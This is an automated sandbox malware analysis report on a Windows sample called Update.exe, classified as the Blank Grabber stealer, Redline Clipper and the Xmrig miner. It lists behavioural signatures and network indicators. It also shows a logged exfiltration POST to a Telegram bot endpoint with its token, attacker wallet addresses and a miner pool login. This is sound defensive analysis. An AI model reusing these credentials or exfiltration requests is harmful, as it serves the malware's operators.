Windows Analysis Report
Update.exe

Overview

General Information

Sample name: Update.exe
Analysis ID: 1507718
MD5: aab47056de8f4ba6869eafae3a5eba7b
SHA1: 75c6e05524d62adeedc0258081a813db6803467a
SHA256: cd809723bc2b248ad6e546c36922e4a3f8b3d8bfdcf7d1448f1307ce7de27118
Infos:

Detection

Blank Grabber, Redline Clipper, Xmrig
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Sigma detected: Stop EventLog
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Blank Grabber
Yara detected Redline Clipper
Yara detected Telegram RAT
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
Detected Stratum mining protocol
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Modifies Windows Defender protection settings
Modifies existing user documents (likely ransomware behavior)
Modifies the context of a thread in another process (thread injection)
Potentially malicious time measurement code found
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Removes signatures from Windows Defender
Sample is not signed and drops a device driver
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Rar Usage with Password and Compression Level
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Suspicious Startup Folder Persistence
Suspicious powershell command line found
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses netsh to modify the Windows network and firewall settings
Uses the Telegram API (likely for C&C communication)
Very long command line found
Writes or reads registry keys via WMI
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Creates driver files
Deletes files inside the Windows folder
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
Sigma detected: Powershell Defender Exclusion
Sigma detected: Remote Thread Creation By Uncommon Source Image
Sigma detected: SCR File Write Event
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Screensaver Binary File Creation
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
xmrig According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

AV Detection
barindex
Found malware configuration
Source: 23.0.lf6o4T3T.exe.970000.0.unpack Malware Configuration Extractor: Redline Clipper {"Wallet Addresses": ["14erhPhc9GWKjwxi1gULqjNxc7hMHUJhmb", "0x10216699882a3395893bbeb03745f444799be108", "DGTuLZSsUTFwHmFZJfwUXqUJXaihFjsRDa", "LiMPN75CmUKHNSGof6UEttikARmdEotvwW", "Xq8qJcE7zdgpWmizeh4kygqbK1t2AtmD9m", "4275Xju8vVcJP1RVqQbK2Z7GkZLGujw9JAXrN4DAkKTgeodnR4BTKauhEmWUJp3hsrKLEtey7vFHGFPp7yjeE8Q6QZVfkbP"]}
Multi AV Scanner detection for domain / URL
Source: pool.hashvault.pro Virustotal: Detection: 6% Perma Link
Source: http://pesterbdd.com/images/Pester.png Virustotal: Detection: 9% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\Build.exe ReversingLabs: Detection: 91%
Multi AV Scanner detection for submitted file
Source: Update.exe ReversingLabs: Detection: 50%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability

Bitcoin Miner
barindex
Yara detected Xmrig cryptocurrency miner
Source: Yara match File source: dump.pcap, type: PCAP
Detected Stratum mining protocol
Source: global traffic TCP traffic: 192.168.2.4:49743 -> 45.76.89.70:80 payload: data raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 32 37 35 58 6a 75 38 76 56 63 4a 50 31 52 56 71 51 62 4b 32 5a 37 47 6b 5a 4c 47 75 6a 77 39 4a 41 58 72 4e 34 44 41 6b 4b 54 67 65 6f 64 6e 52 34 42 54 4b 61 75 68 45 6d 57 55 4a 70 33 68 73 72 4b 4c 45 74 65 79 37 76 46 48 47 46 50 70 37 79 6a 65 45 38 51 36 51 5a 56 66 6b 62 50 22 2c 22 70 61 73 73 22 3a 22 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 39 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 69 67 69 64 22 3a 22 22 2c 22 61 6c 67 6f 22 3a 5b 22 72 78 2f 30 22 2c 22 63 6e 2f 32 22 2c 22 63 6e 2f 72 22 2c 22 63 6e 2f 66 61 73 74 22 2c 22 63 6e 2f 68 61 6c 66 22 2c 22 63 6e 2f 78 61 6f 22 2c 22 63 6e 2f 72 74 6f 22 2c 22 63 6e 2f 72 77 7a 22 2c 22 63 6e 2f 7a 6c 73 22 2c 22 63 6e 2f 64 6f 75 62 6c 65 22 2c 22 63 6e 2f 63 63 78 22 2c 22 63 6e 2d 6c 69 74 65 2f 31 22 2c 22 63 6e 2d 68 65 61 76 79 2f 30 22 2c 22 63 6e 2d 68 65 61 76 79 2f 74 75 62 65 22 2c 22 63 6e 2d 68 65 61 76 79 2f 78 68 76 22 2c 22 63 6e 2d 70 69 63 6f 22 2c 22 63 6e 2d 70 69 63 6f 2f 74 6c 6f 22 2c 22 63 6e 2f 75 70 78 32 22 2c 22 63 6e 2f 67 70 75 22 2c 22 63 6e 2f 31 22 2c 22 72 78 2f 77 6f 77 22 2c 22 72 78 2f 61 72 71 22 2c 22 72 78 2f 67 72 61 66 74 22 2c 22 72 78 2f 73 66 78 22 2c 22 72 78 2f 6b 65 76 61 22 2c 22 70 61 6e 74 68 65 72 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 76 32 22 2c 22 61 72 67 6f 6e 32 2f 6e 69 6e 6a 61 22 2c 22 67 68 6f 73 74 72 69 64 65 72 22 5d 7d 7d 0a data ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"4275xju8vvcjp1rvqqbk2z7gkzlgujw9jaxrn4dakktgeodnr4btkauhemwujp3hsrkletey7vfhgfpp7yjee8q6qzvfkbp","pass":"","agent":"xmrig/6.19.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","panthera","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}
Source: Update.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: Update.exe, Update.exe, 00000001.00000002.1994356570.00007FFE130C1000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: Update.exe, 00000001.00000002.1986363655.00007FFDFA21C000.00000040.00000001.01000000.00000015.sdmp
Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: Update.exe, 00000001.00000002.1987005152.00007FFDFB1F0000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Update.exe, 00000000.00000003.1661738762.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1995197161.00007FFE13341000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: Update.exe, Update.exe, 00000001.00000002.1994638297.00007FFE13301000.00000040.00000001.01000000.00000006.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: Update.exe, Update.exe, 00000001.00000002.1990383539.00007FFE10231000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: Update.exe
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbMM source: Update.exe, 00000001.00000002.1993654455.00007FFE126EB000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: Update.exe, 00000001.00000002.1986715794.00007FFDFAF56000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\python310.pdb source: Update.exe, 00000001.00000002.1987855894.00007FFDFB65F000.00000040.00000001.01000000.00000004.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: Update.exe, Update.exe, 00000001.00000002.1994077253.00007FFE12E11000.00000040.00000001.01000000.00000012.sdmp
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: Update.exe, 00000001.00000002.1987005152.00007FFDFB1F0000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: Update.exe, 00000001.00000002.1993654455.00007FFE126EB000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: Update.exe, Update.exe, 00000001.00000002.1993393229.00007FFE11511000.00000040.00000001.01000000.00000009.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: Update.exe, Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: Update.exe, Update.exe, 00000001.00000002.1990826986.00007FFE10251000.00000040.00000001.01000000.0000000C.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: Update.exe, Update.exe, 00000001.00000002.1991340548.00007FFE10301000.00000040.00000001.01000000.0000000A.sdmp
Source: Binary string: D:\a\1\b\libcrypto-1_1.pdb source: Update.exe, Update.exe, 00000001.00000002.1987005152.00007FFDFB272000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: D:\a\1\b\libssl-1_1.pdb source: Update.exe, Update.exe, 00000001.00000002.1986715794.00007FFDFAF56000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: Update.exe, Update.exe, 00000001.00000002.1989991637.00007FFE0EB41000.00000040.00000001.01000000.0000000E.sdmp
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F79280 FindFirstFileExW,FindClose, 0_2_00007FF623F79280
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F783C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00007FF623F783C0
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F91874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF623F91874
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F79280 FindFirstFileExW,FindClose, 1_2_00007FF623F79280
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F91874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 1_2_00007FF623F91874
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F783C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 1_2_00007FF623F783C0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA322E MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,00007FFE1FF9F020,FindFirstFileW,FindNextFileW,WideCharToMultiByte, 1_2_00007FFDFAFA322E
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\ Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2857751 - Severity 1 - ETPRO MALWARE SynthIndi Loader Exfiltration Activity (POST) : 192.168.2.4:49745 -> 149.154.167.220:443
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 45.76.89.70 80
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 45.76.89.70 45.76.89.70
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
May check the online IP address of the machine
Source: unknown DNS query: name: ip-api.com
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:52904 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:49743 -> 45.76.89.70:80
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.2
Source: Update.exe, 00000001.00000002.1984842868.000002D8F6A24000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: pool.hashvault.pro
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: unknown HTTP traffic detected: POST /bot5909479554:AAHBh0elmAGqD01xNsl_4RAIClCAhxA3CaI/sendDocument HTTP/1.1Host: api.telegram.orgAccept-Encoding: identityContent-Length: 759987User-Agent: python-urllib3/2.2.2Content-Type: multipart/form-data; boundary=0974d66c08e6057af1c13b6cab35cb83
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.18.0Date: Mon, 09 Sep 2024 04:31:28 GMTContent-Type: application/jsonContent-Length: 93Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: Update.exe, 00000000.00000003.1664363817.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.co
Source: Update.exe, 00000000.00000003.1664098813.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1664098813.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Update.exe, 00000000.00000003.1664178146.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662760568.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662273737.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662388921.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1666677887.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662687144.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662455082.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662193789.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1665914931.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1663838002.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1664363817.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662115518.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1666010407.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662618429.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000002.2000078001.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1665914931.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662548156.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662548156.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Update.exe, 00000000.00000003.1664098813.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1664098813.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: Update.exe, 00000000.00000003.1664178146.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662760568.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662273737.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662388921.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1666677887.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662687144.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662455082.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662193789.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1663838002.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1664363817.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662115518.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1666010407.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662618429.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1665914931.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662548156.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Update.exe, 00000000.00000003.1664178146.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662760568.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662273737.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662388921.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1666677887.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662687144.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662455082.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662193789.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1663838002.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1664363817.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662115518.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1666010407.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662618429.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000002.2000078001.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1665914931.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662548156.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Update.exe, 00000000.00000003.1664178146.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662760568.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662273737.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662388921.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1666677887.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662687144.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662455082.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662193789.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1665914931.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1663838002.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1664363817.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662115518.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1666010407.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662618429.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000002.2000078001.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1665914931.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662548156.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1662548156.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Update.exe, 00000000.00000003.1665024233.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Update.exe, 00000001.00000002.1983282257.000002D8F6320000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1708876092.000002D8F637F000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983074177.000002D8F6080000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1695447044.000002D8F637E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1914017106.0000021918630000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Update.exe, 00000000.00000003.1665024233.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: Update.exe, 00000000.00000003.1665024233.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1664098813.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
